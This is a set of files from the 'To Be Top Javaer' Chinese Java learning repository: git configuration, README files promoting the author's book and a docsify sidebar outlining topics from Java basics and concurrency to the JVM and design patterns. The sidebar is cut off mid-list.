[
  {
    "path": ".gitattributes",
    "content": "* text=auto\n*.js linguist-language=java\n*.css linguist-language=java\n*.html linguist-language=java\n*.md linguist-language=java\n"
  },
  {
    "path": ".gitignore",
    "content": "# Created by .ignore support plugin (hsz.mobi)\n### JetBrains template\n# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and WebStorm\n# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839\n\n# User-specific stuff\n\n.idea/**/workspace.xml\n.idea/**/tasks.xml\n.idea/**/dictionaries\n.idea/**/shelf\n.idea/**/common_info.xml\n.idea/**\n\n\n# Sensitive or high-churn files\n.idea/**/dataSources/\n.idea/**/dataSources.ids\n.idea/**/dataSources.local.xml\n.idea/**/sqlDataSources.xml\n.idea/**/dynamic.xml\n.idea/**/uiDesigner.xml\n.idea/**/dbnavigator.xml\n\n# Gradle\n.idea/**/gradle.xml\n.idea/**/libraries\n\n# CMake\ncmake-build-debug/\ncmake-build-release/\n\n# Mongo Explorer plugin\n.idea/**/mongoSettings.xml\n\n# File-based project format\n*.iws\n\n# IntelliJ\nout/\n\n# mpeltonen/sbt-idea plugin\n.idea_modules/\n\n# JIRA plugin\natlassian-ide-plugin.xml\n\n# Cursive Clojure plugin\n.idea/replstate.xml\n\n# Crashlytics plugin (for Android Studio and IntelliJ)\ncom_crashlytics_export_strings.xml\ncrashlytics.properties\ncrashlytics-build.properties\nfabric.properties\n\n# Editor-based Rest Client\n.idea/httpRequests\n\n.DS_Store"
  },
  {
    "path": "README.md",
    "content": "## To Be Top Javaer  -  Java工程师成神之路\n\n![](https://img.shields.io/badge/version-v2.0.0-green.svg) ![](https://img.shields.io/badge/author-Hollis-yellow.svg) ![](https://img.shields.io/badge/license-GPL-blue.svg)\n\n\n\n| 主要版本 | 更新时间       | 备注             |\n| ---- | ---------- | -------------- |\n| v4.0 | 2022-05-20 | 知识体系完善，知识点补充|\n| v3.0 | 2020-03-31 | 知识体系完善，在v2.0的基础上，新增20%左右的知识点<br>调整部分知识的顺序及结构，方便阅读和理解<br>通过GitHub Page搭建，便于阅读|\n| v2.0 | 2019-02-19 | 结构调整，更适合从入门到精通；<br>进一步完善知识体系； <br>新技术补充；|\n| v1.1 | 2018-03-12 | 增加新技术知识、完善知识体系 |\n| v1.0 | 2015-08-01 | 首次发布           |\n\n\nJava成神之路全套面试题——围绕成神之路，500多道题，60多万字>>>\n\n![Java八股](http://www.hollischuang.com/wp-content/uploads/2023/10/640.png)\n\n\n扫码下单后，按照短信提示操作即可。\n\n目前正在更新中... \n\n欢迎大家参与共建~\n\n### 联系我们\n\n欢迎关注作者的公众号，可以直接后台留言。\n\n![](docs/contact/wechat-hollis.jpg)\n\n*公众号后台回复：\"成神导图\"，即可获取《Java工程师成神之路最新版思维导图》* \n\n\n### 在线阅读地址\n\nGitHub Pages 完整阅读：[进入](https://hollischuang.github.io/toBeTopJavaer/)\n\nGitee Pages 完整阅读：[进入](http://hollischuang.gitee.io/tobetopjavaer) (国内访问速度较快)\n\n\n### 关于作者\n\nHollis，阿里巴巴技术专家，51CTO专栏作家，CSDN博客专家，掘金优秀作者，《深入理解Java核心技术》作者，《程序员的三门课》联合作者，《Java工程师成神之路》系列文章作者；热衷于分享计算机编程相关技术，博文全网阅读量上千万。\n\n\n### 开源协议\n\n本着互联网的开放精神，本项目采用开放的[GPL]协议进行许可。\n\n\n### 参与共建\n\n如果您对本项目中的内容有建议或者意见\n\n如果你对本项目中未完成的章节感兴趣\n\n欢迎提出专业方面的修改建议及供稿，供稿只接受原创\n\n请直接在[GitHub](https://github.com/hollischuang/toBeTopJavaer)上以issue或者PR的形式提出\n\n如果本项目中的内容侵犯了您的任何权益，欢迎通过邮箱(hollischuang@gmail)与我联系\n"
  },
  {
    "path": "docs/.nojekyll",
    "content": ""
  },
  {
    "path": "docs/README.md",
    "content": "## To Be Top Javaer  -  Java工程师成神之路\n\n![](https://img.shields.io/badge/version-v2.0.0-green.svg) ![](https://img.shields.io/badge/author-Hollis-yellow.svg) ![](https://img.shields.io/badge/license-GPL-blue.svg)\n\n成神之路系列丛书的第一本《深入理解Java核心技术（基础篇）》已经正式出版了，这本书囊括了<Java工程师成神之路>中基础篇的几乎全部内容，欢迎大家购买品鉴。\n\n![](docs/contact/book.jpeg)\n\n| 主要版本 | 更新时间       | 备注             |\n| ---- | ---------- | -------------- |\n| v4.0 | 2022-05-20 | 知识体系完善，知识点补充|\n| v3.0 | 2020-03-31 | 知识体系完善，在v2.0的基础上，新增20%左右的知识点<br>调整部分知识的顺序及结构，方便阅读和理解<br>通过GitHub Page搭建，便于阅读|\n| v2.0 | 2019-02-19 | 结构调整，更适合从入门到精通；<br>进一步完善知识体系； <br>新技术补充；|\n| v1.1 | 2018-03-12 | 增加新技术知识、完善知识体系 |\n| v1.0 | 2015-08-01 | 首次发布           |\n\n\n目前正在更新中... \n\n欢迎大家参与共建~\n\n### 联系我们\n\n欢迎关注作者的公众号，可以直接后台留言。\n\n![](contact/wechat-hollis.jpg)\n\n*公众号后台回复：\"成神导图\"，即可获取《Java工程师成神之路最新版思维导图》* \n\n### 关于作者\n\nHollis，阿里巴巴技术专家，51CTO专栏作家，CSDN博客专家，掘金优秀作者，《程序员的三门课》联合作者，《Java工程师成神之路》系列文章作者；热衷于分享计算机编程相关技术，博文全网阅读量上千万。\n\n\n### 开源协议\n\n本着互联网的开放精神，本项目采用开放的[GPL]协议进行许可。\n\n\n### 参与共建\n\n如果您对本项目中的内容有建议或者意见\n\n如果你对本项目中未完成的章节感兴趣\n\n欢迎提出专业方面的修改建议及供稿，供稿只接受原创\n\n请直接在[GitHub](https://github.com/hollischuang/toBeTopJavaer)上以issue或者PR的形式提出\n\n如果本项目中的内容侵犯了您的任何权益，欢迎通过邮箱(hollischuang@gmail)与我联系\n\n### 在线阅读地址\n\nGitHub Pages 完整阅读：[进入](https://hollischuang.github.io/toBeTopJavaer/)\n\nGitee Pages 完整阅读：[进入](http://hollischuang.gitee.io/tobetopjavaer) (国内访问速度较快)\n\n\n\n### <a href=\"#/menu?id=目录\">开始阅读</a></p></div><div class=\"mask\"></div></section>"
  },
  {
    "path": "docs/_coverpage.md",
    "content": "<div class=\"cover-main\"><img width=\"180px\" src=\"icon/icon.JPG\">\n\n<h1 id=\"toBeTopJavaer\">\n<a><span>To Be Top Javaer  -  Java工程师成神之路</span></a></h1>\n\n\n\n![](https://img.shields.io/badge/version-v2.0.0-green.svg) ![](https://img.shields.io/badge/author-Hollis-yellow.svg) ![](https://img.shields.io/badge/license-GPL-blue.svg)\n\n\n<span id=\"busuanzi_container_site_pv\" style=\"display: inline;\">\n    👁️本页总访问次数:<span id=\"busuanzi_value_site_pv\"></span> \n</span>\n<span id=\"busuanzi_container_site_uv\" style=\"display: inline;\"> \n    | 🧑总访客数: <span id=\"busuanzi_value_site_uv\"></span>\n</span>\n\n\n<a href=\"#/menu\">开始阅读</a></p></div><div class=\"mask\"></div></section>\n"
  },
  {
    "path": "docs/_sidebar.md",
    "content": "\n* 基础篇\n\n    * 面向对象\n    \n        * 什么是面向对象\n        \n            * [面向对象与面向过程](/basics/object-oriented/object-oriented-vs-procedure-oriented.md)\n        \n            * [面向对象的三大基本特征](/basics/object-oriented/characteristics.md)\n        \n            * [面向对象的五大基本原则](/basics/object-oriented/principle.md)\n            \n        * 封装、继承、多态\n            * [什么是多态](/basics/object-oriented/polymorphism.md)\n            \n            * [方法重写与重载](/basics/object-oriented/overloading-vs-overriding.md)\n            \n            * [Java的继承与实现](/basics/object-oriented/extends-implement.md)\n            \n            * [Java为什么不支持多继承](/basics/object-oriented/multiple-inheritance.md)\n        \n            * [Java的继承与组合](/basics/object-oriented/inheritance-composition.md)\n        \n            * [构造函数与默认构造函数](/basics/object-oriented/constructor.md)\n            \n            * [类变量、成员变量和局部变量](/basics/object-oriented/variable.md)\n            \n            * [成员变量和方法作用域](/basics/object-oriented/scope.md)\n            \n        * 平台无关性\n        \n            * [Java如何实现的平台无关性的](/basics/object-oriented/platform-independent.md)\n            \n            * [JVM还支持哪些语言](/basics/object-oriented/jvm-language.md)\n        \n        * 值传递\n    \n            * [值传递、引用传递](/basics/object-oriented/java-pass-by.md)\n    \n            * [为什么说Java中只有值传递](/basics/object-oriented/why-pass-by-reference.md)\n      \n    * Java基础知识\n        \n        * 基本数据类型\n\n            * [8种基本数据类型](/basics/java-basic/basic-data-types.md)\n\n            * [整型中byte、short、int、long的取值范围](/basics/java-basic/integer-scope.md)\n\n            * [什么是浮点型？](/basics/java-basic/float.md)\n\n            * [什么是单精度和双精度？](/basics/java-basic/single-double-float.md)\n\n            * [为什么不能用浮点型表示金额？](/basics/java-basic/float-amount.md)\n\n        * 自动拆装箱\n\n            * [自动拆装箱](/basics/java-basic/boxing-unboxing.md)\n\n            * [Integer的缓存机制](/basics/java-basic/integer-cache.md)\n            \n            * [如何正确定义接口的返回值(boolean/Boolean)类型及命名(success/isSuccess)](/basics/java-basic/success-isSuccess-and-boolean-Boolean.md)\n\n        * String\n\n            * [字符串的不可变性](/basics/java-basic/final-string.md)\n\n            * [JDK 6和JDK 7中substring的原理及区别](/basics/java-basic/substring.md)\n\n            * [replaceFirst、replaceAll、replace区别](/basics/java-basic/replace-in-string.md)\n\n            * [String对“+”的重载](/basics/java-basic/string-append.md)\n\n            * [字符串拼接的几种方式和区别](/basics/java-basic/string-concat.md)\n            \n            * [Java 8中的StringJoiner](/basics/java-basic/stringjoiner-in-java8.md)\n\n            * [String.valueOf和Integer.toString的区别](/basics/java-basic/value-of-vs-to-string.md)\n\n            * [switch对String的支持](/basics/java-basic/switch-string.md)\n            \n            * [字符串池](/basics/java-basic/string-pool.md)\n            \n            * [Class常量池](/basics/java-basic/class-contant-pool.md)\n            \n            * [运行时常量池](/basics/java-basic/Runtime-Constant-Pool.md)\n            \n            * [intern](/basics/java-basic/intern.md)\n            \n            * [String有没有长度限制？](/basics/java-basic/length-of-string.md)\n            \n        * Java中各种关键字\n        \n            * [transient](basics/java-basic/transient-in-java.md)\n            \n            * [instanceof](basics/java-basic/instanceof-in-java.md)\n            \n            * [volatile](basics/concurrent-coding/volatile.md)\n            \n            * [synchronized](basics/concurrent-coding/synchronized.md)\n            \n            * [final](basics/java-basic/final-in-java.md)\n            \n            * [static](basics/java-basic/static-in-java.md)\n            \n            * [const](basics/java-basic/const-in-java.md)\n            \n        * 集合类\n        \n            * [Collection和Collections区别](/basics/java-basic/Collection-vs-Collections.md)\n            \n            * 常用集合类的使用\n            \n            * [Set和List区别？](/basics/java-basic/set-vs-list.md)\n        \n            * [ArrayList和LinkedList和Vector的区别](/basics/java-basic/arraylist-vs-linkedlist-vs-vector.md)\n            \n            * [ArrayList使用了transient关键字进行存储优化，而Vector没有，为什么？](/basics/java-basic/why-transient-in-arraylist.md) \n            \n            * [SynchronizedList和Vector的区别](/basics/java-basic/synchronizedlist-vector.md)\n            \n            * [Set如何保证元素不重复?](/basics/java-basic/set-repetition.md)\n            \n            * [HashMap、HashTable、ConcurrentHashMap区别](/basics/java-basic/HashMap-HashTable-ConcurrentHashMap.md)\n            \n            * Java 8中Map相关的红黑树的引用背景、原理等\n            \n            * [HashMap的容量、扩容](/basics/java-basic/hashmap-capacity.md)\n            \n            * [HashMap中hash方法的原理](/basics/java-basic/hash-in-hashmap.md)\n            \n            * [为什么HashMap的默认容量设置成16](/basics/java-basic/hashmap-default-capacity.md)\n            \n            * [为什么HashMap的默认负载因子设置成0.75](/basics/java-basic/hashmap-default-loadfactor.md)\n            \n            * [为什么建议设置HashMap的初始容量，设置多少合适](/basics/java-basic/hashmap-init-capacity.md)\n            \n            * [Java 8中stream相关用法](/basics/java-basic/stream.md)\n            \n            * [Apache集合处理工具类的使用](/basics/java-basic/apache-collections.md)\n            \n            * 不同版本的JDK中HashMap的实现的区别以及原因\n            \n            * [Arrays.asList获得的List使用时需要注意什么](/basics/java-basic/Arrays-asList.md)\n            \n            * [Collection如何迭代](/basics/java-basic/iteration-of-collection.md)\n            \n            * [Enumeration和Iterator区别](/basics/java-basic/Enumeration-vs-Iterator.md)\n            \n            * [fail-fast 和 fail-safe](/basics/java-basic/fail-fast-vs-fail-safe.md)\n            \n            * [如何在遍历的同时删除ArrayList中的元素](/basics/java-basic/delete-while-iterator.md)\n            \n            * [CopyOnWriteArrayList](/basics/java-basic/CopyOnWriteArrayList.md)\n            \n            * [ConcurrentSkipListMap](/basics/java-basic/ConcurrentSkipListMap.md)\n\n        * 枚举\n\n            * [枚举的用法](/basics/java-basic/enum-usage.md)\n            \n            * [枚举的实现](/basics/java-basic/enum-impl.md)\n            \n            * [枚举与单例](/basics/java-basic/enum-singleton.md)\n            \n            * [Enum类](/basics/java-basic/enum-class.md)\n            \n            * [Java枚举如何比较](/basics/java-basic/enum-compare.md)\n            \n            * [switch对枚举的支持](/basics/java-basic/enum-switch.md)\n            \n            * [枚举的序列化如何实现](/basics/java-basic/enum-serializable.md)\n            \n            * [枚举的线程安全性问题](/basics/java-basic/enum-thread-safe.md)\n            \n            * [为什么不建议在对外接口中使用枚举](/basics/java-basic/stop-use-enum-in-api.md)\n            \n        * IO\n            \n            * [字符流、字节流](/basics/java-basic/byte-stream-vs-character-stream.md)\n            \n            * [输入流、输出流](/basics/java-basic/input-stream-vs-output-stream.md)\n            \n            * [字节流和字符流之间的相互转换](/basics/java-basic/convert-bytestream-characterstream.md)\n            \n            * [同步、异步](/basics/java-basic/synchronized-vs-asynchronization.md)\n            \n            * [阻塞、非阻塞](/basics/java-basic/block-vs-non-blocking.md)\n            \n            * [Linux 5种IO模型](/basics/java-basic/linux-io.md)\n            \n            * [BIO、NIO和AIO的区别、三种IO的用法与原理](/basics/java-basic/bio-vs-nio-vs-aio.md)\n            \n            * [netty](/basics/java-basic/netty.md)\n            \n        * 反射\n        \n            * [反射](/basics/java-basic/reflection.md)\n        \n            * [反射有什么作用](/basics/java-basic/usage-of-reflection.md)\n        \n            * [Class类](/basics/java-basic/Class.md)\n            \n            * [反射与工厂模式实现Spring IOC](/basics/java-basic/ioc-implement-with-factory-and-reflection.md)\n        \n            * `java.lang.reflect.*`\n            \n        * 动态代理\n            \n            * [静态代理](/basics/java-basic/static-proxy.md)\n            \n            * [动态代理](/basics/java-basic/dynamic-proxy.md)\n            \n            * [动态代理和反射的关系](/basics/java-basic/dynamic-proxy-vs-reflection.md)\n            \n            * [动态代理的几种实现方式](/basics/java-basic/dynamic-proxy-implementation.md)\n            \n            * [AOP](/basics/java-basic/aop-vs-proxy.md)\n           \n        * 序列化\n           \n           * [什么是序列化与反序列化](basics/java-basic/serialize.md)\n           \n           * [Java如何实现序列化与反序列化](basics/java-basic/serialize-in-java.md)\n           \n           * [Serializable 和 Externalizable 有何不同](basics/java-basic/diff-serializable-vs-externalizable.md)\n           \n           * 为什么序列化\n           \n           * [serialVersionUID](basics/java-basic/serialVersionUID.md)\n           \n           * [为什么serialVersionUID不能随便改](basics/java-basic/serialVersionUID-modify.md)\n           \n           * [transient](basics/java-basic/transient-in-java.md)\n           \n           * [序列化底层原理](basics/java-basic/serialize-principle.md)\n           \n           * [序列化如何破坏单例模式](basics/java-basic/serialize-singleton.md)\n           \n           * [protobuf](basics/java-basic/protobuf.md)\n           \n           * [Apache-Commons-Collections的反序列化漏洞](basics/java-basic/bug-in-apache-commons-collections.md)\n           \n           * [fastjson的反序列化漏洞](basics/java-basic/bug-in-fastjson.md)\n           \n        * 注解\n           \n           * [元注解](/basics/java-basic/meta-annotation.md)\n           \n           * [自定义注解](/basics/java-basic/custom-annotation.md)\n           \n           * [Java中常用注解使用](/basics/java-basic/annotation-in-java.md)\n           \n           * [注解与反射的结合](/basics/java-basic/annotion-and-reflect.md)\n           \n           * [如何自定义一个注解？](/basics/java-basic/create-annotation.md)\n           \n           * [Spring常用注解](/basics/java-basic/annotation-in-spring.md)\n            \n        * 泛型\n            \n            * [什么是泛型](/basics/java-basic/generics.md)\n            \n            * [类型擦除](/basics/java-basic/type-erasure.md)\n            \n            * [泛型带来的问题](/basics/java-basic/generics-problem.md)\n            \n            * [泛型中K T V E ？ object等的含义](/basics/java-basic/k-t-v-e.md)\n            \n            * 泛型各种用法\n            \n            * [限定通配符和非限定通配符](/basics/java-basic/Wildcard-Character.md)\n            \n            * [上下界限定符extends 和 super](/basics/java-basic/extends-vs-super.md)\n            \n            * [`List<Object>`和原始类型`List`之间的区别?](/basics/java-basic/genericity-list.md)\n            \n            * [`List<?>`和`List<Object>`之间的区别是什么?](/basics/java-basic/genericity-list-wildcard.md)\n            \n        * 单元测试\n            \n            * [junit](/basics/java-basic/junit.md)\n            \n            * junit 和Spring 的结合\n            \n            * [mock](/basics/java-basic/mock.md)\n            \n            * [JMockit](/basics/java-basic/ut-with-jmockit.md)\n            \n            * [内存数据库（h2）](/basics/java-basic/h2-db.md)\n            \n        * 正则表达式\n            \n            * `java.lang.util.regex.*`\n            \n        * 常用的Java工具库\n            \n            * `commons.lang`\n            \n            * `commons.*...` \n            \n            * `guava-libraries` \n            \n            * `netty`\n            \n        * API&SPI\n            \n            * API\n            \n            * [API和SPI的关系和区别](/basics/java-basic/api-vs-spi.md)\n            \n            * [如何定义SPI](/basics/java-basic/create-spi.md)\n            \n            * [SPI的实现原理](/basics/java-basic/spi-principle.md)\n            \n        * 异常\n            \n            * [Error和Exception](/basics/java-basic/error-vs-exception.md)\n            \n            * [异常类型](/basics/java-basic/exception-type.md)\n            \n            * [异常相关关键字](/basics/java-basic/keyword-about-exception.md)\n            \n            * [正确处理异常](/basics/java-basic/handle-exception.md)\n            \n            * [自定义异常](/basics/java-basic/define-exception.md)\n            \n            * [异常链](/basics/java-basic/exception-chain.md)\n            \n            * [try-with-resources](/basics/java-basic/try-with-resources.md)\n            \n            * [finally和return的执行顺序](/basics/java-basic/order-about-finllly-return.md)\n            \n        * 时间处理\n            \n            * [时区](/basics/java-basic/time-zone.md)\n            \n            * [冬令时和夏令时](/basics/java-basic/StandardTime-vs-daylightSavingTime.md)\n            \n            * [时间戳](/basics/java-basic/timestamp.md)\n            \n            * Java中时间API\n            \n            * [格林威治时间](/basics/java-basic/GMT.md)\n            \n            * [CET,UTC,GMT,CST几种常见时间的含义和关系](/basics/java-basic/CET-UTC-GMT-CST.md)\n            \n            * [SimpleDateFormat的线程安全性问题](/basics/java-basic/simpledateformat-thread-safe.md)\n            \n            * [Java 8中的时间处理](/basics/java-basic/time-in-java8.md)\n            \n            * [如何在东八区的计算机上获取美国时间](/basics/java-basic/get-los_angeles-time.md)\n            \n            * [yyyy和YYYY有什么区别？](/basics/java-basic/YYYY-vs-yyyy.md)\n            \n            * 为什么日期格式化时必须有使用y表示年，而不能用Y？ \n            \n        * 编码方式\n            \n            * [什么是ASCII？](/basics/java-basic/ASCII.md)\n            \n            * [Unicode](/basics/java-basic/UNICODE.md)\n            \n            * [有了Unicode为啥还需要UTF-8](/basics/java-basic/why-utf8.md)\n            \n            * [UTF8、UTF16、UTF32区别](/basics/java-basic/UTF8-UTF16-UTF32.md)\n            \n            * [有了UTF8为什么还需要GBK？](/basics/java-basic/why-gbk.md)\n            \n            * [GBK、GB2312、GB18030之间的区别](/basics/java-basic/gbk-gb2312-gb18030.md)\n            \n            * [URL编解码](/basics/java-basic/url-encode.md)\n            \n            * [Big Endian和Little Endian](/basics/java-basic/big-endian-vs-little-endian.md)\n            \n            * 如何解决乱码问题\n            \n        * 语法糖\n            \n            *  [Java中语法糖原理、解语法糖](/basics/java-basic/syntactic-sugar.md)\n            \n            *  [语法糖介绍](/basics/java-basic/syntactic-sugar.md)\n            \n        * JMS\n            \n            * 什么是Java消息服务\n            \n            * JMS消息传送模型\n            \n        * JMX\n            \n            * java.lang.management.* \n            \n            * javax.management.*\n            \n        * BigDecimal\n            \n            * 为什么0.1+0.2不等于0.3\n            \n            * [为什么不能使用BigDecimal的equals比较大小](/basics/java-basic/stop-using-equlas-in-bigdecimal.md)\n            \n            * [为什么不能直接使用double创建一个BigDecimal](/basics/java-basic/stop-create-bigdecimal-with-double.md)\n            \n        * Java 8\n            \n            * [lambda表达式](/basics/java-basic/lambda.md)\n            \n            * [Stream API](/basics/java-basic/stream.md)\n            \n            * [时间API](/basics/java-basic/time-in-java8.md)\n            \n        * 阅读源代码\n            \n            * String\n            \n            * Integer\n            \n            * Long\n            \n            * Enum\n            \n            * BigDecimal\n            \n            * ThreadLocal\n            \n            * ClassLoader & URLClassLoader\n            \n            * ArrayList & LinkedList\n            \n            * HashMap & LinkedHashMap & TreeMap & CouncurrentHashMap\n            \n            * HashSet & LinkedHashSet & TreeSet\n            \n    * Java并发编程\n            \n        * 并发与并行\n            \n            * [什么是并发](/basics/concurrent-coding/concurrent.md)\n            \n            * [什么是并行](/basics/concurrent-coding/parallel.md)\n            \n            * [并发与并行的区别](/basics/concurrent-coding/concurrent-vs-parallel.md)\n            \n        * 线程\n        \n            * [线程与进程的区别](/basics/concurrent-coding/progress-vs-thread.md)\n            \n            * [线程的特点](/basics/concurrent-coding/thread.md)\n            \n            * [线程的实现](/basics/concurrent-coding/implement-of-thread.md)\n            \n            * [线程的状态](/basics/concurrent-coding/state-of-thread.md)\n            \n            * [线程优先级](/basics/concurrent-coding/priority-of-thread.md)\n            \n            * [线程调度](/basics/concurrent-coding/thread-scheduling.md)\n            \n            * [多线程如何Debug](/basics/concurrent-coding/debug-in-multithread.md)\n            \n            * [守护线程](/basics/concurrent-coding/deamon-thread.md)\n            \n        * 创建线程的多种方式\n            \n            * [继承Thread类创建线程](/basics/concurrent-coding/create-thread-with-extends.md)\n            \n            * [实现Runnable接口创建线程](/basics/concurrent-coding/create-thread-with-Implement.md)\n            \n            * [通过Callable和FutureTask创建线程](/basics/concurrent-coding/create-thread-with-callback-future-task.md)\n            \n            * [通过线程池创建线程](/basics/concurrent-coding/create-thread-with-thead-pool.md)\n            \n        * 线程池\n            \n            * 自己设计线程池\n            \n            * submit() 和 execute()\n            \n            * 线程池原理\n            \n            * [为什么不允许使用Executors创建线程池](/basics/concurrent-coding/why-not-executors.md)\n            \n        * 线程安全\n        \n            * [什么是线程安全](/basics/concurrent-coding/thread-safe.md)\n            \n            * 多级缓存和一致性问题\n            \n            * CPU时间片和原子性问题\n            \n            * 指令重排和有序性问题\n            \n            * 线程安全和内存模型的关系\n            \n            * happens-before\n            \n            * as-if-serial\n            \n        * 锁\n        \n            * 可重入锁\n        \n            * 阻塞锁\n        \n            * 乐观锁与悲观锁\n        \n            * 数据库相关锁机制\n        \n            * 分布式锁\n            \n        * 无锁\n        \n            * CAS\n        \n            * CAS的ABA问题\n    \n        * 锁优化\n        \n            * 偏向锁\n        \n            * 轻量级锁\n        \n            * 重量级锁\n        \n            * 锁消除\n        \n            * 锁粗化\n        \n            * 自旋锁\n            \n        * 死锁\n        \n            * [什么是死锁](/basics/concurrent-coding/deadlock-java-level.md)\n        \n            * 死锁的原因\n        \n            * 如何避免死锁\n        \n            * 写一个死锁的程序\n        \n            * 死锁问题如何排查\n    \n        * synchronized\n            \n            * [synchronized是如何实现的？](/basics/concurrent-coding/synchronized.md)\n            \n            * synchronized和lock之间关系\n            \n            * 不使用synchronized如何实现一个线程安全的单例\n            \n            * synchronized和原子性\n            \n            * synchronized和可见性\n            \n            * synchronized和有序性\n            \n        * volatile\n        \n            * 编译器指令重排和CPU指令重排\n            \n            * volatile的实现原理\n            \n            * 内存屏障\n            \n            * volatile和原子性\n            \n            * volatile和可见性\n            \n            * volatile和有序性\n            \n            * 有了synchronized为什么还需要volatile\n            \n        * 线程相关方法\n        \n            * start & run\n        \n            * sleep 和 wait\n            \n            * notify & notifyAll\n            \n        * ThreadLocal\n        \n            * ThreadLocal 原理\n            \n            * ThreadLocal 底层的数据结构\n            \n        * 写代码来解决生产者消费者问题\n            \n        * 并发包\n            \n            * 同步容器与并发容器\n            \n            * Thread\n            \n            * Runnable\n            \n            * Callable\n            \n            * ReentrantLock\n            \n            * ReentrantReadWriteLock\n            \n            * Atomic*\n            \n            * Semaphore\n            \n            * CountDownLatch\n            \n            * ConcurrentHashMap\n            \n            * Executors\n            \n* 底层篇\n            \n     * JVM\n            \n        * JVM内存结构\n            \n            * 运行时数据区\n            \n            * [运行时数据区哪些是线程独享](/basement/jvm/exclusive-in-runtime-area.md)\n            \n            * 堆和栈区别\n            \n            * 方法区在不同版本JDK中的位置\n            \n            * [运行时常量池](/basics/java-basic/Runtime-Constant-Pool.md)\n            \n            * 堆外内存\n              \n            * TLAB\n              \n            * [Java中的对象一定在堆上分配吗？](/basement/jvm/stack-alloc.md)\n            \n        * 垃圾回收\n            \n            * GC算法：标记清除、引用计数、复制、标记压缩、分代回收、增量式回收\n            \n            * GC参数\n            \n            * 对象存活的判定\n            \n            * 垃圾收集器（CMS、G1、ZGC、Epsilon）\n            \n        * JVM参数及调优\n                    \n            * -Xmx\n            \n            * -Xmn\n            \n            * -Xms\n            \n            * -Xss\n            \n            * -XX:SurvivorRatio\n            \n            * -XX:PermSize\n            \n            * -XX:MaxPermSize\n            \n            * -XX:MaxTenuringThreshold\n                    \n        * Java对象模型\n            \n            * oop-klass\n            \n            * 对象头\n            \n        * HotSpot\n            \n            * 即时编译器\n            \n            * 编译优化\n            \n        * Java内存模型\n            \n            * 计算机内存模型\n            \n            * 缓存一致性\n            \n            * MESI协议\n            \n            * 可见性\n            \n            * 原子性\n            \n            * 顺序性\n            \n            * happens-before\n            \n            * as-if-serial\n            \n            * 内存屏障\n            \n            * synchronized\n            \n            * volatile\n            \n            * final\n            \n            * 锁\n\n    * 虚拟机性能监控与故障处理工具\n            \n        * jps\n        \n        * jstack\n        \n        * jmap\n        \n        * jstat\n        \n        * jconsole\n        \n        * jinfo\n        \n        * jhat\n        \n        * javap\n        \n        * btrace\n        \n        * TProfiler\n        \n        * jlink\n        \n        * Arthas\n            \n    * 类加载机制\n            \n        * classLoader\n        \n        * 类加载过程是线程安全的吗？\n        \n        * 类加载过程\n        \n        * 如何判断JVM中类和其他类是不是同一个类\n        \n        * [双亲委派原则](/basement/jvm/parents-delegate.md)\n        \n        * [为什么需要双亲委派？](/basement/jvm/why-parents-delegate.md)\n        \n        * [“父子加载器”之间的关系是继承吗？](/basement/jvm/relation-with-parents-delegate.md)\n        \n        * [双亲委派是如何实现的？](/basement/jvm/implements-of-parents-delegate.md)\n        \n        * [如何打破双亲委派](/basement/jvm/ibreak-parants-delegate.md)\n        \n        * [如何自定义类加载器](/basement/jvm/define-class-loader.md)\n        \n        * [双亲委派被破坏的例子](/basement/jvm/sample-of-break-parents-delegate.md)\n        \n        * [为什么JNDI，JDBC等需要破坏双亲委派？](/basement/jvm/spi-parents-delegate.md)\n        \n        * [为什么Tomcat要破坏双亲委派](/basement/jvm/tomcat-parents-delegate.md)\n        \n        * [模块化（jboss modules、osgi、jigsaw）](/basement/jvm/moduler.md)\n        \n    * 打包工具\n        \n        * jar\n        \n        * jlink\n        \n        * jpackage\n            \n    * 编译与反编译\n            \n        * 什么是编译\n        \n        * 什么是反编译\n        \n        * [Class常量池](/basics/java-basic/class-contant-pool.md)\n        \n        * 编译工具：javac\n                \n        * 反编译工具：javap 、jad 、CRF\n        \n    * JIT\n    \n        * JIT优化（逃逸分析、栈上分配、标量替换、锁优化）\n        \n        \n            \n* 进阶篇          \n    * Java底层知识\n            \n        * 字节码\n        \n        * class文件格式\n        \n        * CAFEBABE\n        \n    * 位运算\n        \n        * 用位运算实现加、减、乘、除、取余\n            \n    * 设计模式\n        \n        * 设计模式的六大原则\n            \n            * 开闭原则（Open Close Principle）\n            \n            * 里氏代换原则（Liskov Substitution Principle）\n            \n            * 依赖倒转原则（Dependence Inversion Principle）\n            \n            * 接口隔离原则（Interface Segregation Principle）\n            \n            * 迪米特法则（最少知道原则）（Demeter Principle）\n            \n            * 合成复用原则（Composite Reuse Principle）\n            \n        * 创建型设计模式\n        \n            * [单例模式](/advance/design-patterns/singleton-pattern.md)\n            \n            * [抽象工厂模式](/advance/design-patterns/abstract-factory-pattern.md)\n            \n            * [建造者模式](/advance/design-patterns/builder-pattern.md)\n            \n            * [工厂模式](/advance/design-patterns/factory-method-pattern.md)\n            \n            * 原型模式\n            \n        * 结构型设计模式\n        \n            * [适配器模式](/advance/design-patterns/adapter-pattern.md)\n            \n            * 桥接模式\n            \n            * 装饰模式\n            \n            * 组合模式\n            \n            * 外观模式\n            \n            * 享元模式\n            \n            * 代理模式\n            \n        * 行为型设计模式\n        \n            * 模版方法模式\n            \n            * 命令模式\n            \n            * [迭代器模式](/advance/design-patterns/iterator-pattern.md)\n            \n            * 观察者模式\n            \n            * 中介者模式\n            \n            * 备忘录模式\n            \n            * 解释器模式\n            \n            * 状态模式\n            \n            * [策略模式](/advance/design-patterns/strategy-pattern.md)\n            \n            * 责任链模式\n            \n            * 访问者模式\n    \n        * 单例的七种写法\n        \n            * 懒汉——线程不安全\n            \n            * 懒汉——线程安全\n            \n            * 饿汉\n            \n            * 饿汉——变种\n            \n            * 静态内部类\n            \n            * 枚举\n            \n            * 双重校验锁\n            \n        * 为什么推荐使用枚举实现单例？\n        \n        * 三种工厂模式的区别及联系\n        \n            * 简单工厂、工厂方法、模板工厂\n            \n        * 会使用常用设计模式\n        \n            * 工厂模式\n            \n            * 适配器模式\n            \n            * 策略模式\n            \n            * 模板方法模式\n            \n            * 观察者模式\n            \n            * 外观模式\n            \n            * 代理模式\n            \n        * 不用synchronized和lock，实现线程安全的单例模式\n            \n        * nio和reactor设计模式\n        \n        * Spring中用到了哪些设计模式\n            \n    * 网络编程知识\n    \n        * 常用协议\n        \n            * tcp、udp、http、https\n        \n            * 用Java实现FTP、SMTP协议\n        \n        * OSI七层模型\n        \n            * 每一层的主要协议\n   